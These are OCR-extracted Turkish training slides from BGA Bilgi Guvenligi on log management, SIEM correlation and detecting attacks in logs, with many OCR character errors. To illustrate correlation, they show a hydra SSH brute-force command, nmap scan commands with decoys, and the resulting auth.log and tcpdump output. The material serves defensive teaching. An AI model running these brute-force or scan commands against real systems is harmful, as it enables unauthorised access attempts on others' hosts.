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BGA | Hakkinda

Siber glivenlik dinyasina yonelik, yenilikci profesyonel
cozumleri ile katkida bulunmak amaci ile 2008 yilinda
kurulan BGA Bilgi Guvenligi A.S. stratejik siber
glvenlik danismanligl ve guvenlik egitimleri
konularinda buyuk olcekli cok sayida kuruma hizmet
vermektedir.

Gerceklestirdigi vizyoner danismanlik projeleri ve
nitelikli egitimleri ile sektorde saygin bir yer kazanan
BGA Bilgi Guvenligi, kuruldugu giinden bugine kadar
alaninda lider finans, enerji, telekom ve kamu
curuluslariile 1.000'den fazla egitim ve danismanlik
orojelerine imza atmistir.
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Log Yonetimi ve
Saldiri Analizi

Siber Olaylara Mldahale Ekibi
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Egitim Hakkinda

Log Yonetimi ve Saldiri Analizi

BGA | SOME

e GQuUnumuz guvenlik dunyasinin en temel ve onemli bilesenlerinden biri olan log
kavraminin detayli anlasilmasi, log yonetimi ve log analizi sureclerinin bilgi
guvenligi acisindan 6neminin teori ve pratigiyle anlatiimasi.

 Egitim icerigi herhangi bir urlin ya da firma ile ilgili tanitim, tavsiye veya elestiri
barindirmamaktadir.
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Tanisma BGA | SOME

Log Yonetimi ve Saldiri Analizi
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Egitim Icerigi - 1

Log Yonetimi ve Saldiri Analizi

AN
’ Log tanimi ve genel kavramlar
\

‘ Log dosyalari tipleri ve log formatlari
|

. Standartlar acisindan log yonetimi ve analizi

\

‘ Linux sistemlerde log analizi

[

’ UNIX sistemlerde log analizi
[

. Windows sistemlerde log analizi

. Guvenlik ve ag sistemlerine yonelik log analizi

/
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Egitim Icerigi - 2

Log Yonetimi ve Saldiri Analizi

AN
’ Web sunucu loglarinin analizi
\

‘ Syslog log formati ve calisma yapisi
|

. Loglama Acisindan 5651 Savili Kanun

\

‘ Veri Tabani Sistemlerinde Log Yonetimi ve Analizi
|

’ SIEM projelerinin basarili olmasi icin altin kurallar
[

. Ticari log analizi ve yonetimi araclari
/

. Acik kod log analizi ve yonetimi araclari
/
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Log Yonetimi ve Genel Kavramlar BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Loglamanin Guvenlik Acisindan Onemi

* Log Cesitleri

* Log Yonetimi

* Log Yonetimi Projelerinde Sik Karsilasilan Hatalar
* Merkezi Log Yonetimi

* Log Toplama Yontemleri

* Ajanli Log Toplama

* Ajansiz Log Toplama

* Loglamada lletisim Glvenligi

* Log Yonetimi Urinleri
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Temel Kavramlar BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Log kavrami,

* Log yonetimi,

* Log analizi,

 Loglama,

 Korelasyon,

 SIM/SIEM,

 Merkezi log sunucusu,

* Syslog, syslog-ng,

* Binary(lkili) loglama,

 Event Log, audit log, access log

SECURITY
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Log Nedir ? BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Bilisim sistemlerinin cesitli amaclar icin (glvenlik, hata giderme, performans,
denetim vs.) Urettigi kayit bilgileridir.

 Sadece guvenlik ile ilgili bir kavram degildir.

* Bir ucagin kara kutusu ile bilisim sistemleri icin ayrintili log tutmak ayni manaya
gelir.

* Ne kara kutusuz bir ucak kazasi ne de saglikli loglama yapilmamis bir ortamdaki
bilisim olayi istenildigi gibi aydinlatilamaz.
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Log Tutma Amaclari BGA | SOME

Log Yonetimi ve Saldiri Analizi

@BGASecurity

Performans sorunlari, kaynak tuketim oranlari, sistemlerin erisilebilirlik
durumlarini izleme, agda vyasanan problemlerin ¢6zimu, sistemde yapilan
degisikliklerin takibi.

Eskiden daha cok sistem yoneticilerinin sorun giderme amach kullandigl loglama
buglnlerde —ve bundan sonrasi icin- daha cok guvenlik, adli bilisim analizi ve
standartlara uyumluluk icin kullaniimaya baslanmistir.

Log konusunun en onemli bileseni AMAC tir.

y—L
N
'o.o N
4 mun O
| 25
N\
.’,”l’



Gilvenlik Duvari Log Ornekleri (NetScreen) BGA | SOME

Log Yonetimi ve Saldiri Analizi

Log 1: Apr 4 15:12:51 127.0.0.1 HOST NETSCREEN: NetScreen device id=HOST NETSCREEN [No Name]system-notification-
00257 (traffic): start time="2006-04-04 15:12:51" duration=0 policy id=320001 service=icmp proto=1 src zone=Null dst
zone=self action=Deny sent=0 rcvd=28 src=AAA.BBB.CCC.DDD dst=AAA.BBB.CCC.DDD icmp type=8 session id=0

Log 2: Apr 4 15:12:51 127.0.0.1 HOST NETSCREEN: NetScreen device id=HOST NETSCREEN [Root]system-notification-00535:
PKI: Saved CA configuration (CA cert subject name OU=Secure Server Certification Authority,O0=RSA Data Security,
Inc.,C=U0S,) (2006-04-04 15:12:50)

Log 3: Apr 4 15:12:52 127.0.0.1 HOST NETSCREEN: NetScreen device id=HOST NETSCREEN [No Name]system-notification-
00257 (traffic): start time="2006-04-04 15:12:20" duration=32 policy id=31 service=snmp proto=17 src zone=ADM-SERV dst
zone=Trust action=Permit sent=190 rcvd=184 src=ARAA.BBB.CCC.DDD dst=AAA.BBB.CCC.DDD src port=45328 dst port=161
src-xlated ip=port=45328 session id=32028

Log 4: Apr 4 16:04:14 127.0.0.1 HOST NETSCREEN: NetScreen device id=HOST NETSCREEN [Root]system-critical-00032:
Malicious URL! From AAA.BBB.CCC.DDD:42581 to AAA.BBB.CCC.DDD:80, proto TCP (zone V1-Untrust, int vl-untrust). Occurred
1l times. (2006-04-04 16:04:15)

Log 5: Apr 5 14:35:14 127.0.0.1 HOST NETSCREEN: NetScreen device id=HOST NETSCREEN [Root]system-critical-00436: Large
ICMP packet! From AAA.BBB.CCC.DDD to AAA.BBB.CCC.DDD, proto 1 (zone V1-Untrust, int vl-untrust). Occurred 1 times.
(2006-04-05 14:35:14)

Log 6: Apr 24 15:29:32 127.0.0.1 HOST NETSCREEN: NetScreen device id=HOST NETSCREEN [Root |system-notification-

00257 (traffic): start time="2006-04-24 15:29:31" duration=0 policy id=320001 service=proto:112/port:0 proto=112 src
zone=Null dst zone=self action=Deny sent=0 rcvd=48 src=AAA.BBB.CCC.DDD dst=224.0.0.18

Log 7: Apr 24 15:30:16 127.0.0.1 HOST NETSCREEN: NetScreen device id=HOST NETSCREEN [No Name]system-notification-
00257 (traffic): start time="2006-04-24 15:30:13" duration=4 policy id=15 service=http proto=6 src zone=DMZ dst
zone=Trust action=Permit sent=1087 rcvd=7120 src=AAA.BBB.CCC.DDD dst=AAA.BBB.CCC.DDD src port=6484 dst port=80
src-xlated ip=AAA.BBB.CCC.DDD port=6484

Log 8: Apr 24 15:43:03 127.0.0.1 HOST NETSCREEN: NetScreen device id=HOST NETSCREEN [No Name]system-notification-
00257 (traffic): start time="2006-04-24 15:43:03" duration=0 policy id=320001 service=proto:88/port:0 proto=88 src
zone=Null dst zone=self action=Deny sent=0 rcvd=60 src=AAA.BBB.CCC.DDD dst=224.0.0.10

Log 9: Apr 24 15:54:27 127.0.0.1 HOST NETSCREEN: NetScreen device id=HOST NETSCREEN [No Name]system-notification-
00257 (traffic): start time="2006-04-24 15:54:26" duration=0 policy id=320001 service=udp/port:1985 proto=17 src
zone=Null dst zone=self action=Deny sent=0 rcvd=48 src=AAA.BBB.CCC.DDD dst=224.0.0.2 src port=1985 dst port=1985k
Log 10: Apr 24 16:01:08 127.0.0.1 HOST NETSCREEN: NetScreen device id=HOST NETSCREEN [Root]system-notification-
00257 (traffic): start time="2006-04-24 16:01:05" duration=4 policy id=13 service=tcp/port:3306 proto=6 src zone=DMZ2

dst zone=Trust action=Permit sent=1109 rcvd=1007 src=AAA.BBB.CCC.DDD dst=AAA.BBB.CCC.DDD src port=28176 dst port=3306 ﬁfﬁ§§€$§
src-xlated ip=AAA.BBB.CCC.DDD port=28176 o ‘:‘// BG A
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Windows Security Audit Log Ornekleri

Log Yonetimi ve Saldiri Analizi

BGA | SOME

Kim, hangi tarihte, hangi kullanici adini kullanarak sisteme giris deneyiminde bulunmus ve basari
durumu? Hangi IP adresinden?

@BGASecurity

oi_—l i < 2 1 1
& Computer Management (Local Keywor... Date and Time Source EventID Task Category 4 | | Actions Policy Security Setting
4§ SysiestTook ' 23.10.2016 15:46:47 Microsoft Windows Special Logon || sseurty -
> () Task Scheduler = = : i i | Lot ' on events Success, Failure
@ : 9 Audi... 2310.2016 15:46:47 Micresoft Windows ... 4624 Logon = Open Saved Log... ’,‘J Audit account |Og "
4 [d] Event Viewer =W 9 i . . -
y I iiciomVieus A Audi.. 2310.201615:46:47 Microsoft Windows ... 4672 Special Logon W Ciité Cutons Vi, to| Audit account management Success, Failure
4 [ Windows Logs . Audi... 2310.201615:46:47 Microsatt Windows - 4o2¢ Logon MO GuSoR Vit ‘o Audit directory service access No auditing
] Application €L Audi.. 23.10.2016 14:58:26 Microsoft Windows ... 4648 Logon 7 Audit | £ S Fail
B Security @, Audi.. 2310.201614:58:10 Microsoft Windows ... 4648 Logon Clear Log... i R R EE
] Setup @ Audi.. 23.10.2016 14:55:42 Microsoft Windows ... 4616 Security State Change ¥ Filter Current Log... 1) Audit object access No auditing
{;J System ?\\Audl... 21.10.2016 14:13:10 Microsoft Windows ... 4648 Logon ‘:l Properties LI--l Audit pOlle change SUCCESS, Failure
£ | Forwarded Event Q,‘Audi... 21.10.2016 14:13:08 Microsoft Windows ... 4648 Logon ;2 o ) — z
» [ Applications and Se| | @\ Audi.. 21.10.2016 10:31:02 Microsoft Windows ... 4648 Logon - @ — o) Audit privilege use success, Failure
& Sﬁ Sudbls:cr;:tlons Event 4672, Microsoft Windows security auditing. x kel Save All Events As... o) Audit process trad(ing No aUditing
P BN SNared Foaers Attach a Task To this L... Tk - -
» & Local Users.and Geoups il Genern). (e | o) Audit systemn events Success, Failure
> (R Performance View
g Device Manager Special privileges assigned to new logon. - G Refresh
o N .
a =5 Storage . ‘E’ Help
=¥ Disk Management Subject: |
. B : e Security ID: SYSTEM —
» s Services and Applications ¢ ‘ N
> - FE Account Name: SYSTEM Rt ieTt Mk Wndowe s
Account Domain: NT AUTHORITY | -] Event Properties
Logon ID: 0x3e7 == s _
Q Attach Task To This Ev...
Log Name: Security I 5z Copy
Source: Microsoft Windows security Logged: 23.10.2016 15:46:47 [ Security b Save Selected Events...
Event ID: 4672 Task Category: Special Logon G Refresh
Level: Information Keywords: Audit Success Help
User: N/A Computer: Win7-PC
OpCode: Info
More Information: Event Log Online Help
i b




Sonucuna Gore Log Tipler; BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Belirlizaman araliklarinda kimler oturum acti?

 Kim hangi IP adresini aldi?

 Bu IP adresleri ile nerelere erisildi?

* Sunucu/Istemci adi (HostName), IP adresi, MAC adresi degisikligi oldu mu?
 Kim hangi dosyaya eristi ?

* Basarili parola degisiklikleri

 Kimler hangi dokimanlari ¢ikti olarak aldi?

* Domain Admin hesabina kullanici eklendi mi?
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Gmail Erisim Logu Orneg;i

Log Yonetimi ve Saldiri Analizi

BGA | SOME

 Gmail hesabiniza kimler hangi ip
adresinden eristi?

Activity on this account

This feature provides information about the last activity on this mail account and any concurrent
activity. Learn mare

This account does not seem to be open in any other location. However, there may be sessions that
have not been signed out.

* Erisim logu/audit logu

Sign out all other sessions

Recent activity:

@BGASecurity

Access Type [ 7] Location (IP address) [ ¥ ] | Date/Time
(Browser, mobile, POP3, etc.) (Displayed in your time
Zone)
Browser * Turkey (78.176.67.237) 5:18 pm (0 minutes ago)
Browser Turkey (78.176.87.237) 3:41 pm (1.5 hours ago)
Browser Turkey (78.176.87.237) 1:34 pm (3.5 hours ago)
Browser Turkey (78.176.87.237) 11:36 am (5 hours ago)
Browser Turkey (78.176.87.237) 6:32 am (8 hours ago)
Browser Turkey (78.176.87.237) Feb 18 (18 hours ago)
Browser Turkey (78.176.87.237) Feb 18 (18 hours ago)
Browser Turkey (78.176.67.237) Feb 18 (23 hours ago)
Browser Turkey (78.176.87.237) Feb 18 (1 day ago)
Browser Turkey (78.176.67.237) Feb 18 (1 day ago)

Alert preference: Show an alert for unusual activity. change




Log YOonetimi BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Farkli kaynaklarda toplanan farkli tip ve cesitlerdeki loglarin tek bir merkeze
vonlendirilerek deger ifade edecek sekilde islenmesidir.

* Log vyonetimiile log toplama farkli islemlerdir.
* Log yonetimi olabilmesi icin dncelikle saglikli log toplama mekanizmasinin kurulu

olmasi gerekir.
 Toplanan loglardan anlamli sonuclar uretecek islemler gerceklestiriliyorsa log
toplamadan log yonetimine dogru gecis yapiliyor demektir.
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Log Korelasyonu BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Log yonetimi projelerinde anahtar bilesendir.
* Birden fazla kaynaktan gelen birden fazla log kaydinin tek bir satirda ifade edilmesi.
* Uzerinden en fazla konusulup gerceklestirilemeyen LOG YONETIMI proje bilesenidir.

* Ayni anda onlarca porta yonelik gelen SYN paketlerinin her birini ayri ayri loglamak yerine
tek bir satirda gosterip Port Tarama olarak yazmak...

* Ornek korelasyon kurallari
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SSH Brute Force — Korelasyon Ornegi

Log Yonetimi ve Saldiri Analizi

BGA | SOME

* SSH: Uzaktan UNIX/Linux sistemleri yonetmek amacli kullanilan glivenli bir protokol.
> On tanimli olarak 22/TCP portundan calisir.

 Genellikle UNIX sistem yoneticileri her yerden sistemlerine erisebilmek icin SSH servisini
disari acik birakirlar.

* Genele acik SSH servisleri hackerlarin ilgisini ceker ve SSH parolasi bulma saldirilari
gerceklestirirler.

* Ornek SSH Brute Force Denemes;
» hydra 192.168.1.100 ssh2 —L UserList.txt -P PasswordList.txt -e s
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SSH Brute Force Saldirisi Log Orneg;i

Log Yonetimi ve Saldiri Analizi

@BGASecurity

root@bt:/pentest# grep failure /var/log/auth.log*
/var/log/auth.log:Mar 3 22:05:48 bt sshd[28414]: pam_unix(sshd:auth): authentlcatlon fallureI logname= uid=0 euid=0 tty=ssh

ruser= rhost=78.173.210.171 user=root %—
/var/log/auth.log:Mar 5 14:03:46 bt sshd[17362]: pam_unix(sshd:auth): authentlcatuon failure; logname= uid=0 euid=0 tty=ssh

ruser= rhost=88.240.23.231 user=ozanus r—
/varflog/auth.log:Mar 8 17:29:37 bt sshd[26638]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh
ruser= rhost=88.243.233.28 user=celal

/var/log/auth.log:Mar 9 06:08:38 bt sshd|7!98]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh

ruser= rhost=78.173.41.4 user=celal

/var/log/auth.log:Mar 9 14:27:41 bt ss
ruser= rhost=78.173.41.4 user=celal

/varflog/auth.log:Mar 9 14:28:05 bt sshd[16582]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser=

rhost=78.173.41.4 user=celal

/var/log/auth.log:Mar 9 14:28:13 bt sshd|16593]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh

16582]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh

ruser= rhost=78.173.41.4 user=celal
/var/log/auth.log:Mar 9 14:29:04 bt sshd[16593]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser=
rhost=78.173.41.4 user=celal

/var/log/auth.log.1:Feb 25 16:07:19 bt sshd[4758]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh

ruser= rhost=88.240.31.140 user=barkink

/var/log/auth.log.1:Feb 25 20:39:02 bt sshd[6909]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh

ruser= rhost=88.240.31.140 user=barkink

/varflog/auth.log.1:Feb 27 11:40:47 bt passwd[19290]: pam_unix(passwd:chauthtok): authentication failure; logname=mucahid
uid=1003 euid=0 tty= ruser= rhost= user=mucahid

/var/log/auth.log.1:Feb 27 11:40:55 bt passwd[19291]: pam_unix(passwd:chauthtok): authentication failure; logname=mucahid
uid=1003 euid=0 tty= ruser= rhost= user=mucahid

/var/log/auth.log.1:Feb 27 11:41:32 bt passwd[19303]: pam_unix(passwd:chauthtok): authentication failure; logname=mucahid
uid=1003 euid=0 tty= ruser= rhost= user=mucahid

/var/log/auth.log.1:Feb 27 11:41:39 bt passwd[19305]: pam_unix(passwd:chauthtok): authentication failure; logname=mucahid
uid=1003 euid=0 tty= ruser= rhost= user=mucahid

/varflog/auth.log.1:Feb 27 11:42:12 bt passwd[19322]: pam_unix(passwd:chauthtok): authentication failure; logname=mucahid
uid=1003 euid=0 tty= ruser= rhost= user=mucahid

/var/log/auth.log.1:Feb 27 11:43:01 bt passwd[19354]: pam_unix(passwd:chauthtok): authentication failure; logname=huzeyfe
uid=1003 euid=0 tty= ruser= rhost= user=mucahid|
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SSH Brute Force Log Korelasyonu BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Her gun onlarca farkli kaynaktan binlerce SSH login denemesi gelmektedir.
* Sistem Uzerinde her bir SSH denemesi ayri bir log satiri olarak islenmektedir.
* QOrtalama bir SSH Brute Force saldirisi 200-300 arasi log satiri Uretmektedir.

 Korele edilmis bir log dosyasi ilgili bilesenleri degerlendirerek asagidaki gibi bir log
uretmesi gerekmektedir.

Unsuccessful SSH Login Attempt From <IPs> for USERNAME <USER_List>
between datel-date2
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AfterGlow Visualization Ekran Ciktisi

Log Yonetimi ve Saldiri Analizi

BGA | SOME
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Port Tarama Log Korelasyonu BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Port Tarama: Hedef sisteme gonderilen cesitli UDP ve TCP paketlerine donecek cevaplarin
RFC kurallarina gore yorumlanarak hedef sistem hakkinda bilgi edinilmesi(port acik, port

kapali ya da port filtrelenmis)
 Port tarama islemi genellikle glvenlik duvari, saldiri tespit sistemi gibi ag/glvenlik

cihazlarinda binlerce satir log Ureten bir strectir.

Ornek Port Tarama Komutlari:
nmap 8.8.8.8 —n —Pn —sS —top-ports 10

nmap 8.8.8.8 —n —Pn —sS —top-ports 10 —D RND:50 [Distributed Port Scan Simulasyonu]
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Klasik Port Tarama Log Ornekleri BGA | SOME

Log Yonetimi ve Saldiri Analizi

bt:~# tcpdump -i eth0 -tn host 8.8.8.8

mp: verbose output suppressed, use -v or -vv for full protocol decode

ng on ethl, link-type EN10MEB (Ethernet), capture size 65535 bytes

895.238.172.49921 = 8.8.8.8.22: Flags [3], seq 429989810, win 1024, options [mss 1460], length 0
895.238.172.49921 = 8.8.8.8.110: Flags [3], seq 429989810, win 1024, options [mss 1460], length 0
895.238.172.49921 = §r8.8.8.3389: Flags [S], seq 429988810, win 1024, options [mss 1460], length O
895.238.172.49921 = 8.:8.8.8.25: Flags [3], seq 429989810, win 1024, options [mss 1460], length O
095.238.172.49921 = 8.8.8.8.443: Flags [3], seq 429989810, win 1024, options [mss 1460], length 0
895.238.172.49921 = 8.8.8.8.139: Flags [S], seq 429988810, win 1024, :::p-tl:::ns [mss 1460], length O
895.238.172.49921 = 8.8.8.8.21: Flags [3], seq 429989810, win 1024, options [mss 1460], length 0
895.238.172.49921 = 8.8.8.8.80: Flags [3], seq 429989810, win 1024, options [mss 1460], length O
895.238.172.49921 = 8.8.8.8.23: Flags [3], seq 429989810, win 1024, options [mss 1460], length 0
895.238.172.49921 > 8.8.8.8.445: Flags [S], seq 429988810, win 1024, :::p-tl:::ns [mss ‘1-1EHZII], length O
895.238.172. 49922 = 8.8.8.8.445: Flags [S], seq 429924275, win 1024, :::ptl:::ns [mss 1460], length O
95.238.172.49922 = 8.8.8.8.23: Flags [3], seq 429924275, win 1024, options [mss 1460], length O
895.238.172.49922 = 8.8.8.8.80: Flags [3], seq 429924275, win 1024, options [mss 1460], length O
895.238.172.49922 = 8.8.8.8.21: Flags [3], seq 429924275, win 1024, options [mss 1460], length O
895.238.172.49922 > 8.8.8.8.139: Flags [S], seq 429924275, win 1024, :::ptl:::ns [mss ‘1-1!'::=EII], length O
895.238.172.49922 > 8.8.8.8.443: Flags [3], seq 429924275, win 1024, options [mss 1460], length 0
895.238.172.49922 > 8.8.8.8.25: Flags [3], seq 429924275, win 1024, options [mss 1460], length 0
895.238.172.49922 = 8.8.8.8.3389: Flags [3], seq 429924275, win 1024, options [mss 1460], length O
095.238.172.49922 > 8.8.8.8.110: Flags [3], seq 429924275, win 1024, options [mss 1460], length O —
895.238.172.49922 > 8.8.8.8.22: Flags [3], seq 4289924275, win 1024, options [mss 1460], length 0 §\
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Dagitik Port Tarama Log Ornekleri BGA | SOME

Log Yonetimi ve Saldiri Analizi

root@bt:~# tcpdump -i eth0 -tn host 8.8.8.8
tﬂp-dump verbose output suppressed, use -v or -vv for full protocol decode
ath(l |ink e EN10OMB (Ethernet), capture size 65535 I::-yt&s

7152, 176.767.45904 8 > B.8.8.8.80: Flags [3], seq 1924801747, win 1024, options [mss 1460], length 0
IP 23.168. EEH:II ‘1-1=EII 49048 > 8.8.8.8.80: Flags [3], seq 1924801747, win 1024, options [mss 1460], length O
IP 35.216.222.215.49048 > 8.8.8.8.80: Flags [S], seq 1924901747, win 1024, options [mss 1460], length O
IP 211.57.6.8.49047 > Bj8.8.8.80: Flags [S], seq 1924801747, win 1024, options [mss 1460], length O
IP 57.77.73.103.48047 =38.8.8.8.80: Flags [3], seq 1924801747, win 1024, options [mss 1460], lenigth 0
IP 178.182.113.201.49047 > 8.8.8.8.80: Flags [3], seq 1924801747, win 1024, options [mss 1460], length O
IP 204.185.96.182. 49048 > 8.8.8.8.80: Flags [S], seq 1924901747, win 1024, options [mss 1460], length O
IP 191.206.43.64.49047 ¢ 8.8.8.8.80: Flags [S], seq 1924901747, win 1024, options [mss 1460], length O
IP 51.85.88.243.489047 =38.8.8.8.80: Flags [3], seq 1924801747, win 1024, options [mss 1460], length 0
IP 128.209.213.16.4904 8 > 8.8.8.8.80: Flags [S], seq 1924901747, win 1024, options [mss 1460], length O
IP 9.88.31.184.49047 > §.8.8.8.80: Flags [S], seq 1924901747, win 1024, options [mss 1460], length O
IP 157.187.173.48.4904 8 > 8.8.8.8.80: Flags [S], seq 1924901747, win 1024, options [mss 1460], length O
IP 126.83.116.1.49047 =88.8.8.8.80: Flags [S], seq 1924901747, win 1024, options [mss 1460], length O
IP 163.85.142.225.4904 8 > 8.8.8.8.80: Flags [S], seq 1924901747, win 1024, options [mss 1460], length O
IP 183.209.123.19.4904 8 > 8.8.8.8.80: Flags [S], seq 1924901747, win 1024, options [mss 1460], length O
IP 47.71.142.113.49047 ¢ 8.8.8.8.80: Flags [S], seq 1924901747, win 1024, options [mss 1460], length O
IP 60.11.206.203.49047 ¢ 8.8.8.8.80: Flags [S], seq 1924901747, win 1024, options [mss 1460], length O
IP 125.196.252.134 48047 > 8.8.8.8.80: Flags [3], seq 1924901747, win 1024, options [mss 1460], length O
IP 56.200.168.64 49047 @ 8.8.8.8.80: Flags [3], seq 1924801747, win 1024, options [mss 1460], length 0
IP 38.159.21.73.49047 =p8.8.8.8.80: Flags [S], seq 1924901747, win 1024, options [mss 1460], length 0
IP 161.151.62.203.49048 > 8.8.8.8.80: Flags [S], seq 1924901747, win 1024, options [mss 1460], length O A
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SYN Flood Saldirisi Log Ornekler: BGA | SOME

Log Yonetimi ve Saldiri Analizi

root@bt:~# tcpdump -i ethO -tn host 8.8.8.8

tﬂp-dump uerl::-nse output suppressed, use -v or -vv for full protocol decode

: s EN10MB (Ethernet), capture size 65535 bytes

P 72.0.115.4. 2892 > 88.8.8.80: Flags [3], seq 864994347, win 512, length O

P 8.80.84.250.2893 = §.8.8.8.80: Flags [S], seq 476194318, win 512, length 0

P 146.91.215.79.2804 B 8.8.8.8.80: Flags [3], seq 638402012, win 512, length O

P 209.177.7.152.28095 § 8.8.8.8.80: Flags [3], seq 1715318203, win 512, length
P 80.53.196.53.2896 =88.8.8.8.80: Flags [S], seq 2111124059, win 512, length 0

P 118.239.205.95.2898> 8.8.8.8.80: Flags [S], seq 1623222539, win 512, length O
P 44.147.110.250.2898 > 8.8.8.8.80: Flags [S], seq 1670867116, win 512, length 0
P 31.95.52.141.28099 =88.8.8.8.80: Flags [S], seq 1722317447, win 512, length O

P 157.13.45.179.2900 § 8.8.8.8.80: Flags [3], seq 425864203, win 512, length O

P 120.38.180.164.290 9> 8.8.8.8.80: Flags [S], seq 1655296144, win 512, length O
P 152.62.77.86.2902 =38.8.8.8.80: Flags [S], seq 1581854364, win 512, length 0

P 38.51.94.4 2903 > 88.8.8.80: Flags [3], seq 2060395992, win 512, length 0

P 220.147.210.213.29(8 > 8.8.8.8.80: Flags [S], seq 5854354, win 512, length 0

P 10.240.209.195.2909 > 8.8.8.8.80: Flags [S], seq 706104357, win 512, length O
P 133.156.14.77 2906 § 8.8.8.8.80: Flags [S], seq 666373869, win 512, length O

P 195.137.125.120.290¥ > 8.8.8.8.80: Flags [S], seq 1316558449, win 512, length O N
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Port Tarama Log Korelasyonu BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Log yonetimi yapan sistemin port tarama tiplerini ve diger saldiri tiplerini anliyor olmasi
va da log yoneticisi tarafindan bu detaylarin sisteme girilmis olmasi gerekir.

 Port tarama, dagitik port tarama ve SYN flood saldirilari saniyede binlerce farkl log satiri
uretebilmekte ve birbirlerine benzer ciktilar vermektedir.

* lyiyazilmis bir korelasyon kurali ile tek bir satirda gerceklestirilen islem ifade edilebilir.

Port Scan against 8.8.8.8 TCP PORT <80, 443, 223...> with <SOURCE_IP_LIST> between
datel-date2
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SIEM (Security Information and Event Management)

Log Yonetimi ve Saldiri Analizi

BGA | SOME

e SIM/SIEM kavramlari
* Security Information and Event Management

* Loglarin toplanmasi, anlik izlenmesi, korelasyona tabi tutulmasi ve raporlamasi islemlerini
vapan vazilim/donanimlar icin kullanilan kisaltma.
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Log Yonetimi Projelerinde Basari BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Genel olarak log yonetimi projeleri dlculemeyen projelerdir.
» Proje basarili oldugunda ne gibi somut ciktilari olacaktir?
» Ciddi bir proje yonetimi sireci kullanilmakta midir?
» Proje yoneticisi glivenlik konularindan anliyor mu?
 Bunun temel nedeni firmalarin diizgln bir proje yonetimi bilgisine sahip olmamalaridir
* Log yonetimi projesi sonucunda beklenti nedir? Ne olmalidir?
* Alinan urun, gelistirilen proje neler saglamistir.
* Tartisallm
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Log Yonetimi Konusunda Bilinmesi Gerekenler BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Loglama konusunda bazi onemli noktalar dikkate alinmazsa yapilan projeler
basarisizlikla sonuclanabilir.

* Log yonetimi konusunda projeye baslamadan bazi ana noktalarin belirlenmesi ve
proje planinin bu maddelere gore sekillendirilmesi 6nem arz etmektedir.

* Gerceklestirilen log yonetimi projelerinin buyuk cogunlugu “log toplama” projesi
olarak sonuclanmaktadir.

 Log yonetimi projeleriicin olcum testleri yapiimalidir
» Senaryolu bir saldiri 6rnegi ve log sisteminin ciktilari... gibi
» Hazir araclar kullanilabilir
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Log Yonetimi ve Analizi Urunleri BGA | SOME

Log Yonetimi ve Saldiri Analizi

85 adet log yonetimi Grunu bulunmaktadir
https://mosaicsecurity.com/categories/85-log-management-security-information-and-event-management

 Bu drunlerin buyuk cogunlugu log toplama ve basit uyari mekanizmalari icermektedir.
* (Cok az sayida log urunu cesitli kaynaklardan log toplayip normallestirmee ve korelasyon
ozelligine sahiptir.
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Ticari Log Yonetimi / SIEM Urunleri BGA | SOME

Log Yonetimi ve Saldiri Analizi

Log Management SIEM SaaS Logging
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Gartner 2016 SIEM MQ Raporu

Log Yonetimi ve Saldiri Analizi

BGA | SOME

Figure 1. Magic Quadrant for Security Information and Event Management
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Acik Kaynak Kod Urlinler BGA | SOME

Log Yonetimi ve Saldiri Analizi

e NXLOG is a universal log collector and forwarder supporting different platforms (BSD,
Unix, Linux, Windows, Android), log sources and protocols (Syslog, Windows EventLog,
Graylog2 GELF, XML, JSON, CSV and

 Logstash is a tool for managing events and logs. You can use it to collect logs, parse them,
and store them for later use (like, for searching) more)

 Graylog2 enables you to unleash the power that lays inside your logs.
* http://infosec20.blogspot.com/2012/08/open-source-centralized-log-management.html
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phpLogCon (LogAnalyzer)

Log Yonetimi ve Saldiri Analizi

@BGASecurity

SYSLOG icin kullanisli WEB arabirimi
http://loganalyzer-demo.adiscon.com/ adresinden online demo strimu incelenebilir

<« C' | © demo.phplogcon.org/index.php?iter=http_url®o3A%3D%2Frobots. txt&search=>5earchfsourceid=4&sourceid=4

This is a demo for the free Adiscon LogAnalyzer application.
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downloads!
www, Monitorware.com
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2008-05-20 05:29:24 208.111.154.15 [ robots. et Mozilla/5.0 (compatible; .. 200 390 % ) 08.111.154.158) - - [20/May/2008:05:29:24 +0200] "GET /robeks .
2008-05-20 05:25:00 208.111.154.15 [ robots. et Mozilla/5.0 (compatible; .. 200 390 % ) 208.111.154.158) - - [20/May/2008:05:25:00 +0200] "GET /roboks .
2008-05-20 05:24:53 208.111.154.15 | robots. et Moilla/5.0 (compatible; .. 200 390 % i 508.111.154.158) - - [20/May/2008:05:24:53 +0200] "GET /robots .
2008-05-20 05:21:51 208.111.154.16 [ robots.bxt Mozilla/5.0 (compatible; . 200 390 % ) 08.111.154.168) - - [20/May/2008:05:21:51 +0200] "GET /robeks .
2008-05-20 05:19:45 208.111.154.16 [ robots.bet Mazilla/5.0 (compatible; .. 200 390 % & 508 111.154.168) -~ [20/May/2008:05:19:45 +0200] "GET /robots .
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Log Yonetimi Projelerinde Hatalar BGA | SOME

Log Yonetimi ve Saldiri Analizi

 “Ucuz olsun benim olsun mantigi”

e Kotu satin almalara yol acabiliyor ve bu sadece SIEM alani icin gecerli degil tum guvenlik
uruanlerinin alimi icin gecerlidir.

* SIEM ve log yonetimi Urtnleri OS dan yuzlerce dolara ve hatta milyonlara kadar gidebiliyor
ve genelde buyuk fiyat farki olan araclarin yetenek ve olceklenebilirligi de cok farkl

oluyor.
 Bir drunin %30 daha ucuz olup iki kat kotu olma ihtimali unutulmamalidir.

* Fiyat kistasi yapilirken bilesen bazli fiyatlandirma dnem tasimaktadir
o Korelasyon %30 degerde
